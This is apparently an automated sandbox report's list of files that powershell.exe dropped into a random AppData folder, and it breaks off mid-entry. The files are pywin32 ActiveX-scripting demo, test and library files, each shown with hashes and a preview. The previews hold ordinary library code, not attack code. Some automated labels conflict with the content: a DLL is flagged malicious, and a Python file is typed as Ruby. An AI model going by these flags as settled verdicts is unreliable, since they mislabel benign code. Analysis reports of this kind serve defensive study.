              Preview:<HTML>.<HEAD>.<base target="text">.<TITLE> Internet Workshop </TITLE>.</HEAD>.<BODY leftmargin=8 bgcolor="#FFFFFF" VLINK="#666666" LINK="#FF0000">.<FONT FACE="ARIAL,HELVETICA" SIZE="2">..<P>.<BR>.<P><FONT FACE="ARIAL,HELVETICA" SIZE="5"><B>Marquee Demo</B></FONT>..<P>...<OBJECT ..ID="Marquee1" . .CLASSID="CLSID:1A4DA620-6217-11CF-BE62-0080C72EDD2D"..CODEBASE="/workshop/activex/gallery/ms/marquee/other/marquee.ocx#Version=4,70,0,1112"..TYPE="application/x-oleobject"..WIDTH=100% ..HEIGHT=80.>..<PARAM NAME="szURL" VALUE="marqueeText1.htm">..<PARAM NAME="ScrollPixelsX" VALUE="0">. .<PARAM NAME="ScrollPixelsY" VALUE="-5">. .<PARAM NAME="ScrollDelay" VALUE="100">. .<PARAM NAME="Whitespace" VALUE="0">.</OBJECT>..<br> <br>..<INPUT TYPE="Button" NAME="btnFaster" VALUE="Faster">.<INPUT TYPE="Button" NAME="btnNormal" VALUE="Normal">.<INPUT TYPE="Button" NAME="btnSlower" VALUE="Slower">..<SCRIPT Language="Python">..def btnFaster_Onclick():..ax.Marquee1.ScrollDelay = 0..def btnNormal_Oncli

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\ie\mousetrack.htm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2219
              Entropy (8bit):5.348133396458538
              Encrypted:false
              SSDEEP:
              MD5:189FD34C610096EB188C993BCD6F5057
              SHA1:EA37E944DDC9A007A468E0C4D61B61D250C95939
              SHA-256:1501479124FCBED9474A55DDBAE4964B9791BF3C828D89D523999201160F2478
              SHA-512:A989C96CCBFD00AC3F1724FE7F4505361518852F882756C2B00101A47DC1098CD9418B40F80F091C2DB467CCA6F5D166D74EF7324E01AF77A34D8D4B26BCB081
              Malicious:false
              Reputation:unknown
              Preview:<HTML>..<HEAD><TITLE>Python Scripting sample: Mouse tracking</TITLE></HEAD>.<BODY BGCOLOR="#FFFFFF" TOPMARGIN=8>.<FONT SIZE=5>.<TABLE Border=0><TR VALIGN=MIDDLE><TD>.<A ID="Image"> <IMG .SRC="file:..\..\..\..\..\win32com\html\image\pycom_blowing.gif" .ALT="Clickable Map Image" HEIGHT=113 WIDTH=624 BORDER=0></A>..</TD></TR>. <TR><TD>&nbsp;</TD></TR>. <TR VALIGN=MIDDLE><TD VALIGN=MIDDLE ALIGN=CENTER><FONT SIZE=5><INPUT .TYPE="text" NAME="TxtLinkDescription" SIZE=50></FONT></TD></TR></TABLE>.</FONT>..<P>.A mouse tracking demo. Move the mouse over the image above.....<SCRIPT Language="Python">. .# Remember the last location clicked.#print "here we go", 1.mx = my = 0..# class for rectangle testing.class rect:. def __init__(self, lowx, lowy, upx, upy, desc, url):. self.lowx, self.lowy, self.upx, self.upy, self.desc, self.url = \. lowx, lowy, upx, upy, desc, url. def inside(self, x, y):.# print (x,y), "inside", self.desc,. result = self.lowx <= x <= self.up

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\wsh\excel.pys

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):1049
              Entropy (8bit):5.072940751559402
              Encrypted:false
              SSDEEP:
              MD5:8FD06D135B4275DBC00D9E393FFDE9E1
              SHA1:877567B995035606046281AAC4DC11FF9D415F82
              SHA-256:3ED132B5B9D06FC242573AE32C4CDFEB09774BEC8AD4F7B0B1F7A13317354F14
              SHA-512:DD062E59E33E0FBCE58CFD96FFF10B1D7CBB757457A227512DA309AF5DE1FEDA5853D93DDD3BB9C71A80295E4C7F1B7E338B8AF9A1B3E533D88BE17BF2FB664B
              Malicious:false
              Reputation:unknown
              Preview:#app=WScript.Application.#app._print_details_() # Use this to see what Python knows about a COM object...g_index = 1.# A procedure, using a global..def Show(desc, value = None):..global g_index # Need global for g_index, as I locally assign...# No global needed to "xl" object, as only referenced...# Also note "xl" is assigned later in the script - ie, Python is very late bound...xl.Cells(g_index, 1).Value = desc..if value: xl.Cells(g_index, 2).Value = value..g_index = g_index + 1..xl = WScript.CreateObject("Excel.Application").import sys..xl.Visible = 1.#xl.Workbooks().Add() # Excel versions before 98.xl.Workbooks.Add()..# Show the WScript properties..Show("Application Friendly Name", WScript.Name).Show("Application Version", WScript.Version).Show("Application Context: Fully Qualified Name", WScript.FullName).Show("Application Context: Path Only", WScript.Path).Show("State of Interactive Mode", WScript.Interactive)..Show("All script arguments:").args = WScript.Arguments..for i in range

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\wsh\registry.pys

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1625
              Entropy (8bit):5.097139297129545
              Encrypted:false
              SSDEEP:
              MD5:FFDB7AF5288F2DBC7BA1B9F390851F2E
              SHA1:CE79284039F42ED3E64B7361FF22A617A65A7AAD
              SHA-256:36828B0FBC66B13FEC99DE1C1B8993E249179E268D55328A2457FC84D514EBF9
              SHA-512:4C631CC46F2AE5EDBDD236ABE791A73F0A1A0FDCD63427A7240AF3B174B4D5ABC3C39121B6543DD69E1FDD290303ECA9F16E085AC603E9324A05B459AB2524DE
              Malicious:false
              Reputation:unknown
              Preview:""" Windows Script Host Sample Script.' Ported to Python.'.' ------------------------------------------------------------------------.' Copyright (C) 1996 Microsoft Corporation.'.' You have a royalty-free right to use, modify, reproduce and distribute.' the Sample Application Files (and/or any modified version) in any way.' you find useful, provided that you agree that Microsoft has no warranty,.' obligations or liability for any Sample Application Files..' ------------------------------------------------------------------------.'.' This sample demonstrates how to write/delete from the registry. ."""..WshShell = WScript.CreateObject("WScript.Shell")..WshShell.Popup("This script shows how to use registry related methods.", 2)..WshShell.Popup("Create key HKCU\\Foo with value 'Top level key'").WshShell.RegWrite("HKCU\\Foo\\", "Top level key")..WshShell.Popup("Create key HKCU\\Foo\\Bar with value 'Second level key'").WshShell.RegWrite( "HKCU\\Foo\\Bar\\", "Second level key").

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\wsh\test.pys

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):371
              Entropy (8bit):4.81636161697008
              Encrypted:false
              SSDEEP:
              MD5:C05E20B9E219FCCF2C19133783B932E5
              SHA1:C74BF55931BB90778B120D5C8E766B8C1036D5DA
              SHA-256:6D0A3E712D136DACB886AEF34B5E866F0EED3F68C15AA569BB88278939A96DC0
              SHA-512:10DDC4C7DDF5141555EC6C97E4C2B5A506219D7D3798A509D3BCE14F693170C951DFA60EA13FE7E91F70C44EC3D0E8706E6558664644EFB44E138575EFA0B400
              Malicious:false
              Reputation:unknown
              Preview:# Testall - test core AX support...# Test "Restricted Execution" (ie, IObjectSafety)..# This will fail if in a "restricted execution" environment, but.# will silenty do nothing of not restricted. This same line in an MSIE.# script would cause an exception..print("Importing win32api...").import win32api.if 1==1:..print("Hi")..WScript.Echo("Hello from WScript")..#fail..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\asputil.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):246
              Entropy (8bit):4.321979309415331
              Encrypted:false
              SSDEEP:
              MD5:1ADB8CD1FB788B91BDAAE9399AD49EB9
              SHA1:F67D489C8578E338217B53EF6427DB08C4EB8656
              SHA-256:162EBBA726C7BB51F5154A203ECB77E3F05811CCA8EF667CC2A7538E12468D35
              SHA-512:2BF4AEA87C7B8345575D7F1C804F85EEA6417ED6BE9CDAAF4BC3CB1C85ABEE5436586361A6AE70987A28AF3F905EB0EBC9267C6D9CC3D52BD735C25A2284EDE8
              Malicious:false
              Reputation:unknown
              Preview:"""A utility module for ASP (Active Server Pages on MS Internet Info Server...Contains:..iif -- A utility function to avoid using "if" statements in ASP <% tags.."""...def iif(cond, t, f):. if cond:. return t. else:. return f.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\axscript.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):77824
              Entropy (8bit):6.39833925624853
              Encrypted:false
              SSDEEP:
              MD5:CE971A4D2464A5E72BCB67A1D97FE26E
              SHA1:3AF3F43335F86CFDB9B1E9184859579C6EBFED3D
              SHA-256:41AB63C77696BC401CF4C4606B55B1B66883743C8D89173139EA9D162D72BB5E
              SHA-512:2415CC0D79A3B91ED6A0754E0E9930936CF06AD6F775FEB6708B4AB4C7659909880B6AFD807C87A22C8C2D6F8AAE982ED1707754BF4882A8C2D61393C28C3D93
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d... . . .).$.$.r..."...$.....".r...3.r...*.r...!.4...%.4...%. ...../...!...!.Rich .................PE..L......d...........!................?.....................................................@..............................-..@........P..\....................`..T...<...T...............................@...............T............................text............................... ..`.rdata..............................@..@.data...L....0......................@....rsrc...\....P......................@..@.reloc..T....`......................@..B........................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\client\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):27
              Entropy (8bit):3.926571651178274
              Encrypted:false
              SSDEEP:
              MD5:6BA7C50D6D1AB57D23565ED35813EAD7
              SHA1:B32E72D4EA5B883E21CD3FD7CC1FB7DB58B57281
              SHA-256:38686F1600EF06C7CFEA5BFB7DB2C952D8FB9A02664B2B587528C04A2C037C1B
              SHA-512:05CFD07756DBB06B2B89A62395E372F6652D6BEEB205E1226E0463852B0B71624D08524600008502F21E6087C0222A3EA8059D0578E2662D24FC00AA7821A9E1
              Malicious:false
              Reputation:unknown
              Preview:# This is a Python package.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\client\debug.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8600
              Entropy (8bit):4.651539521205457
              Encrypted:false
              SSDEEP:
              MD5:EF2074B451BBD62D87F65EAA93CCEE3C
              SHA1:EFD7F3F1033E3C8180B8636BF5557B62EFC103CE
              SHA-256:1D9E93C8F0D5963DD099B6DE5E3A30FC8AF89EA5359B7C6E3217717E0E1371E3
              SHA-512:AE3EDBA436B1475BC7FEA3BCFF1FE5427DC6C79A961BF83447E62DD283B96E4BF23F32E40F2E0E30432764465FE030B4EEE12815A867AAC49579CC4E9FD409B8
              Malicious:false
              Reputation:unknown
              Preview:import os.import sys..import pythoncom.import win32api.import win32com.client.connect.import win32com.server.util.import winerror.from win32com.axdebug import adb, axdebug, contexts, documents, gateways, stackframe.from win32com.axdebug.codecontainer import SourceCodeContainer.from win32com.axdebug.util import _wrap, _wrap_remove.from win32com.client.util import Enumerator.from win32com.server.exception import COMException.from win32com.util import IIDToInterfaceName..from .framework import trace..try:. os.environ["DEBUG_AXDEBUG"]. debuggingTrace = 1 # Should we print "trace" output?.except KeyError:. debuggingTrace = 0...def trace(*args):. """A function used instead of "print" for debugging output.""". if not debuggingTrace:. return. print(win32api.GetCurrentThreadId(), end=" "). for arg in args:. print(arg, end=" "). print()...# Note that the DebugManager is not a COM gateway class for the.# debugger - but it does create and manage them..class D

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\client\error.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):9551
              Entropy (8bit):4.4481133212168595
              Encrypted:false
              SSDEEP:
              MD5:324AE6C8D3E02A44C8333EAE4AA5781F
              SHA1:B8189B8EC4ABBC1A2B284EDA32389E0FB74B6913
              SHA-256:ED9214C512F602AD4CA2F4DDE0D34C28D05B7D7EA43247058B61FEE06C1323C9
              SHA-512:A9AC0583D878B092A02F0149E24646E8AF3B447A665F96565AB15B98F47B8AA61ED7464B47D8360C67DF7E6B6F721653146E930F55B42610CE58AEC9A15F72CC
              Malicious:false
              Reputation:unknown
              Preview:"""Exception and error handling... This contains the core exceptions that the implementations should raise. as well as the IActiveScriptError interface code.. ."""..import re.import sys.import traceback..import pythoncom.import win32com.server.exception.import win32com.server.util.import winerror.from win32com.axscript import axscript..debugging = 0...def FormatForAX(text):. """Format a string suitable for an AX Host""". # Replace all " with ', so it works OK in HTML (ie, ASP). return ExpandTabs(AddCR(text))...def ExpandTabs(text):. return re.sub("\t", " ", text)...def AddCR(text):. return re.sub("\n", "\r\n", text)...class IActiveScriptError:. """An implementation of IActiveScriptError.. The ActiveX Scripting host calls this client whenever we report. an exception to it. This interface provides the exception details. for the host to report to the user.. """.. _com_interfaces_ = [axscript.IID_IActiveScriptError]. _public_methods_ = ["GetSourceLin

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\client\framework.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):45609
              Entropy (8bit):4.558280317748307
              Encrypted:false
              SSDEEP:
              MD5:F80DB3148BB02DB7394413B365DBE726
              SHA1:35205C38191C769C0C17451D8641CF020B20A5AC
              SHA-256:E5508E5A9E7A42CEA6AEA7EC1B2819C59A3DF4F9FF0C7A4727E04C08D806CD28
              SHA-512:06EB27C0FE8A0997D45924F924F57E3AFC53376916956B92F5D41900F790EFB00134F370C3379CD4653F8CB846C39BEA19B42CCCFE7C3BC58161F5D883118245
              Malicious:false
              Reputation:unknown
              Preview:"""AXScript Client Framework.. This module provides a core framework for an ActiveX Scripting client.. Derived classes actually implement the AX Client itself, including the. scoping rules, etc... There are classes defined for the engine itself, and for ScriptItems.""".import re.import sys..import pythoncom # Need simple connection point support.import win32api.import win32com.client.connect.import win32com.server.util.import winerror.from win32com.axscript import axscript...def RemoveCR(text):. # No longer just "RemoveCR" - should be renamed to. # FixNewlines, or something. Idea is to fix arbitary newlines into. # something Python can compile.... return re.sub("(\r\n)|\r|(\n\r)", "\n", text)...SCRIPTTEXT_FORCEEXECUTION = -2147483648 # 0x80000000.SCRIPTTEXT_ISEXPRESSION = 0x00000020.SCRIPTTEXT_ISPERSISTENT = 0x00000040..from win32com.server.exception import Exception, IsCOMServerException..from . import error # ax.client.error..state_map = {. axscript.SCRIPTSTATE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\client\pydumper.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2209
              Entropy (8bit):4.92912052688063
              Encrypted:false
              SSDEEP:
              MD5:3EEF17E893D9C828638F3282A7C45766
              SHA1:8FED63EA9770E424083F4A529EF7C72BDD6D9828
              SHA-256:8BC4284A2E6396858C7FA1CCCDEB05819DD074F0528451D38E6209BDD2E8F506
              SHA-512:E08AE09C0B2C2F25A35FD6C5AD7502D3B529F80E9F35C6BAD6148CF520DAE613A775BB3C5F11C73A314732A1C1215E49A7B8A373A4EEDE1382E1A1D004216E88
              Malicious:false
              Reputation:unknown
              Preview:# pydumper.py.#.# This is being worked on - it does not yet work at all, in ay way.# shape or form :-).#.# A new script engine, derived from the standard scripting engine,.# which dumps information...# This generally can be used to grab all sorts of useful details about.# an engine - expose bugs in it or Python, dump the object model, etc...# As it is derived from the standard engine, it fully supports Python.# as a scripting language - meaning the dumps produced can be quite dynamic,.# and based on the script code you execute...from win32com.axscript import axscript..from . import pyscript.from .pyscript import SCRIPTTEXT_FORCEEXECUTION, Exception, RaiseAssert, trace..PyDump_CLSID = "{ac527e60-c693-11d0-9c25-00aa00125a98}"...class AXScriptAttribute(pyscript.AXScriptAttribute):. pass...class NamedScriptAttribute(pyscript.NamedScriptAttribute):. pass...class PyScript(pyscript.PyScript):. pass...def Register():. import sys.. if "-d" in sys.argv:. dispatcher = "Dispa

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\client\pyscript.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):15365
              Entropy (8bit):4.595224299959172
              Encrypted:false
              SSDEEP:
              MD5:E127D587F36259875C37BA09D6F64653
              SHA1:9FCC884F6A2EABB0E982426FF92770A2E961406A
              SHA-256:F75FF2124A8A8E8F631A49B7BC1824D88D9A6106145DD812AB12A1F7E909DB93
              SHA-512:44F207863B69DA7B7DDE29C850D5A482DC1F91A6EBBF5A084A4D4C7DAC6227F07311A14DB91CC6AA1ECA7372CEB09D1F11706DB511C866B9DA624866E52591BB
              Malicious:false
              Reputation:unknown
              Preview:"""Python ActiveX Scripting Implementation..This module implements the Python ActiveX Scripting client...To register the implementation, simply "run" this Python program - ie.either double-click on it, or run "python.exe pyscript.py" from the.command line.."""..import re..import pythoncom.import win32api.import win32com.import win32com.client.dynamic.import win32com.server.register.import winerror.from win32com.axscript import axscript.from win32com.axscript.client import framework, scriptdispatch.from win32com.axscript.client.framework import (. SCRIPTTEXT_FORCEEXECUTION,. SCRIPTTEXT_ISEXPRESSION,. SCRIPTTEXT_ISPERSISTENT,. Exception,. RaiseAssert,. trace,.)..PyScript_CLSID = "{DF630910-1C1D-11d0-AE36-8C0F5E000000}"..debugging_attr = 0...def debug_attr_print(*args):. if debugging_attr:. trace(*args)...def ExpandTabs(text):. return re.sub("\t", " ", text)...def AddCR(text):. return re.sub("\n", "\r\n", text)...class AXScriptCodeBlock(framework.AXScr

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\client\pyscript_rexec.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2079
              Entropy (8bit):5.1327242411448495
              Encrypted:false
              SSDEEP:
              MD5:4746513214FD3D49AB67680FC8CF35D9
              SHA1:D8AB9424AB9EEE3879A821B4BB5532048FF3F10C
              SHA-256:C6984941293A584ACB954395DC32E7092606C708F99AEACA827BBE2E8BA7F72D
              SHA-512:E1D0C3C2B765AAF8ED1378D799CEC21296CFE80CC261F133C35921E3941FF7C6BA6E37A839561C4FA7A58F28D1E73577CA7A6909AC851C3D463CCAD60B0ECFDA
              Malicious:false
              Reputation:unknown
              Preview:# A version of the ActiveScripting engine that enables rexec support.# This version supports hosting by IE - however, due to Python's.# rexec module being neither completely trusted nor private, it is.# *not* enabled by default..# As of Python 2.2, rexec is simply not available - thus, if you use this,.# a HTML page can do almost *anything* at all on your machine...# You almost certainly do NOT want to use thus!..import pythoncom.from win32com.axscript import axscript..from . import pyscript..INTERFACE_USES_DISPEX = 0x00000004 # Object knows to use IDispatchEx.INTERFACE_USES_SECURITY_MANAGER = (. 0x00000008 # Object knows to use IInternetHostSecurityManager.)...class PyScriptRExec(pyscript.PyScript):. # Setup the auto-registration stuff.... _reg_verprogid_ = "Python.AXScript-rexec.2". _reg_progid_ = "Python" # Same ProgID as the standard engine.. # ._reg_policy_spec_ = default. _reg_catids_ = [axscript.CATID_ActiveScript, axscript.CATID_ActiveScriptParse]. _reg_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\client\scriptdispatch.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3876
              Entropy (8bit):4.680189112747225
              Encrypted:false
              SSDEEP:
              MD5:5021ACFFA8683413B7E99084C60FA6B5
              SHA1:9C30C55ACA4F94EB5C5C626C22C21F6927445BB6
              SHA-256:C2379DD57BB2495D3D3DAD4F57D782AA7E1D2C0595C78BFDE4984017AF2C214E
              SHA-512:4A206EDED838EA10B2D5AA4200B838816F2A0244A9BC6F00458F88A09DA631D76CEB597379BF13C2F326919ED3157F27AEA6675D419512BE9B4B3603D9C88EEA
              Malicious:false
              Reputation:unknown
              Preview:"""dynamic dispatch objects for AX Script... This is an IDispatch object that a scripting host may use to. query and invoke methods on the main script. Not may hosts use. this yet, so it is not well tested!."""..import types..import pythoncom.import win32com.server.policy.import win32com.server.util.import winerror.from win32com.axscript import axscript.from win32com.client import Dispatch.from win32com.server.exception import COMException..debugging = 0..PyIDispatchType = pythoncom.TypeIIDs[pythoncom.IID_IDispatch]...def _is_callable(obj):. return type(obj) in [types.FunctionType, types.MethodType]. # ignore hasattr(obj, "__call__") as this means all COM objects!...class ScriptDispatch:. _public_methods_ = [].. def __init__(self, engine, scriptNamespace):. self.engine = engine. self.scriptNamespace = scriptNamespace.. def _dynamic_(self, name, lcid, wFlags, args):. # Ensure any newly added items are available.. self.engine.RegisterNewNamedIt

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\server\axsite.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4143
              Entropy (8bit):4.704238630787578
              Encrypted:false
              SSDEEP:
              MD5:C8AB177A25EEDBE978F8A44CAF49F70C
              SHA1:F50DD82A66C8B496D2E53120E949907DC875FC00
              SHA-256:B41F83F503B4F4C43E4F75748FBC7101117AE9168AB3BFBF184F4EC1E7FB5821
              SHA-512:93C43138E621DCCB20A27E94F8BC866B5D5C72340D6BCFDB96CE635A847762A1FB5F0AF56D85CB41D75BA1C5C807055348788E66A3A5A0435A3AE03D170D8678
              Malicious:false
              Reputation:unknown
              Preview:import pythoncom.import win32com.axscript.axscript.import winerror.from win32com.axscript import axscript.from win32com.server import exception, util...class AXEngine:. def __init__(self, site, engine):. self.eScript = self.eParse = self.eSafety = None. if type(engine) == type(""):. engine = pythoncom.CoCreateInstance(. engine, None, pythoncom.CLSCTX_SERVER, pythoncom.IID_IUnknown. ).. self.eScript = engine.QueryInterface(axscript.IID_IActiveScript). self.eParse = engine.QueryInterface(axscript.IID_IActiveScriptParse). self.eSafety = engine.QueryInterface(axscript.IID_IObjectSafety).. self.eScript.SetScriptSite(site). self.eParse.InitNew().. def __del__(self):. self.Close().. def GetScriptDispatch(self, name=None):. return self.eScript.GetScriptDispatch(name).. def AddNamedItem(self, item, flags):. return self.eScript.AddNamedItem(item, flags).. # Some helpers..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\server\error.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):489
              Entropy (8bit):4.4888191490917
              Encrypted:false
              SSDEEP:
              MD5:D1B887E1852838FB3158E15DD8DC2F76
              SHA1:46DBDA3060D799B66240E38CD91AA449C1CAF8A3
              SHA-256:23410686595B5F8735EB249AD4C268D5BE5CA58B055DEE2164003354EF5AAFBF
              SHA-512:FFD864AC218122C23444ED30BFBCEA989F992014BF480D2FD354010C14DB44F8468E629D39528B44BFD7DAC2D4A0D7C64198639666C75D648B9D85059F717AFF
              Malicious:false
              Reputation:unknown
              Preview:"""Exception instance for AXScript servers...This module implements an exception instance that is raised by the core .server scripting support...When a script error occurs, it wraps the COM object that describes the.exception in a Python instance, which can then be raised and caught.."""...class Exception:. def __init__(self, activeScriptError):. self.activeScriptError = activeScriptError.. def __getattr__(self, attr):. return getattr(self.activeScriptError, attr).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\test\debugTest.pys

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):202
              Entropy (8bit):4.78846195235404
              Encrypted:false
              SSDEEP:
              MD5:1B1E5E89D140BAE27D78BBA769EF31B7
              SHA1:F387F0778B5098E93D944B875BD6A946F0647CFC
              SHA-256:93060807FEFD7107AE7B9FF83E7369F34BE0CD7E6D7AE3317AE380BCFB5C6DEE
              SHA-512:D872D77D95AFB443DC368EA95E4D66504BE63109FFFAB0E5FDDADD15E65256F02B1FF33ABC56EE3F95DEF29381B2559F221B8AA126CB3D474F5BDEEA0561635B
              Malicious:false
              Reputation:unknown
              Preview:def Function(i):..Test.Echo(i)..print(dir())..a=1.b=a.c=b # And here is a comment.d="A string".print(a).Test.echo("Hello from Python").for i in range(2):..Function(i).a = """\.A multi-line string!."""..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\test\debugTest.vbs

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):84
              Entropy (8bit):4.4385916030254124
              Encrypted:false
              SSDEEP:
              MD5:AFD072C96DB7BD059EB7A65591315330
              SHA1:732AC8DDA1FE276F98CE53997107284877994C09
              SHA-256:3B76BACB85734D4759D81B9FAC389B31EC9CEE57EAB8A35F34F4F03E17BCB76B
              SHA-512:8D8B31B47E4ED705A5841472A546E47C7448CC6D555A0F3C4ACCE68425E189CD725B0B5CC9FC1BA970E51F75FDDF11DF408B3E335F2EB127250FCAEC63C0BBB4
              Malicious:false
              Reputation:unknown
              Preview:a=1.b=a.Test.Echo "Hello from VBScript".' Here is a comment.for i = 1 to 10. .next.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\test\leakTest.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4860
              Entropy (8bit):4.839504912514807
              Encrypted:false
              SSDEEP:
              MD5:9D5F620DBD947D638EF8E5C070C1E706
              SHA1:E70F5C14BFFD7A6E6F6D0CBD617022D4AEA77409
              SHA-256:542AC5CD304D4BDA1993F2FBBB202866F3F683063CDF09CCFAF68A5230BC2433
              SHA-512:6AF9326CE5776BFDEC97943582C66022E9D6DF7B8A19A4294A7166CEBA0F35BF93A5DAC70D8AB5E9157E512A1471FCFCBA61C659A6FA219545A3BFC4A965403E
              Malicious:false
              Reputation:unknown
              Preview:import sys..import pythoncom.import win32com.server.policy.from win32com.axscript import axscript.from win32com.axscript.server import axsite.from win32com.axscript.server.error import Exception.from win32com.server import connect, util...class MySite(axsite.AXSite):. def OnScriptError(self, error):. exc = error.GetExceptionInfo(). context, line, char = error.GetSourcePosition(). print(" >Exception:", exc[1]). try:. st = error.GetSourceLineText(). except pythoncom.com_error:. st = None. if st is None:. st = "". text = st + "\n" + (" " * (char - 1)) + "^" + "\n" + exc[2]. for line in text.splitlines():. print(" >" + line)...class MyCollection(util.Collection):. def _NewEnum(self):. print("Making new Enumerator"). return util.Collection._NewEnum(self)...class Test:. _public_methods_ = ["echo"]. _public_attrs_ = ["collection", "verbose"].. def __init__(self):.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\test\testHost.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Ruby script, ASCII text
              Category:dropped
              Size (bytes):8325
              Entropy (8bit):4.7787877297794665
              Encrypted:false
              SSDEEP:
              MD5:5B5360CA04A73F90ADB1EA08E2C66FA7
              SHA1:EB70BD96AC56EE9CAB77273EB0E1F7990ED0B69A
              SHA-256:CE89E35280C5131B74576BE0BCD3E9E77A0C7FCB8D510C5DD5065E60388475A0
              SHA-512:27072D36EB5F86D3D439BD62B65493929E5BE09D751D030FC53EB4EAC223E11E617A793C77CD6D290EF6AAEC17F84DCF59BAF661C2EBCE73B7ADCA6159C9D1DD
              Malicious:false
              Reputation:unknown
              Preview:import sys.import unittest..import pythoncom.import win32com.server.policy.import win32com.test.util.from win32com.axscript import axscript.from win32com.axscript.server import axsite.from win32com.axscript.server.error import Exception.from win32com.client.dynamic import Dispatch.from win32com.server import connect, util.from win32com.server.exception import COMException..verbose = "-v" in sys.argv...class MySite(axsite.AXSite):. def __init__(self, *args):. self.exception_seen = None. axsite.AXSite.__init__(self, *args).. def OnScriptError(self, error):. self.exception_seen = exc = error.GetExceptionInfo(). context, line, char = error.GetSourcePosition(). if not verbose:. return. print(" >Exception:", exc[1]). try:. st = error.GetSourceLineText(). except pythoncom.com_error:. st = None. if st is None:. st = "". text = st + "\n" + (" " * (char - 1)) + "^" + "\n" + exc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\test\testHost4Dbg.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2821
              Entropy (8bit):4.8026048341123175
              Encrypted:false
              SSDEEP:
              MD5:A7D3DE6F0267051AA0AD14446AE995FD
              SHA1:7D6958D5AAE223A8482C926E6B81170426F46F96
              SHA-256:3559EC9F82467D5ECE95F97A278DDABFDE9E6909FC4B564FD0E9E273FF037C17
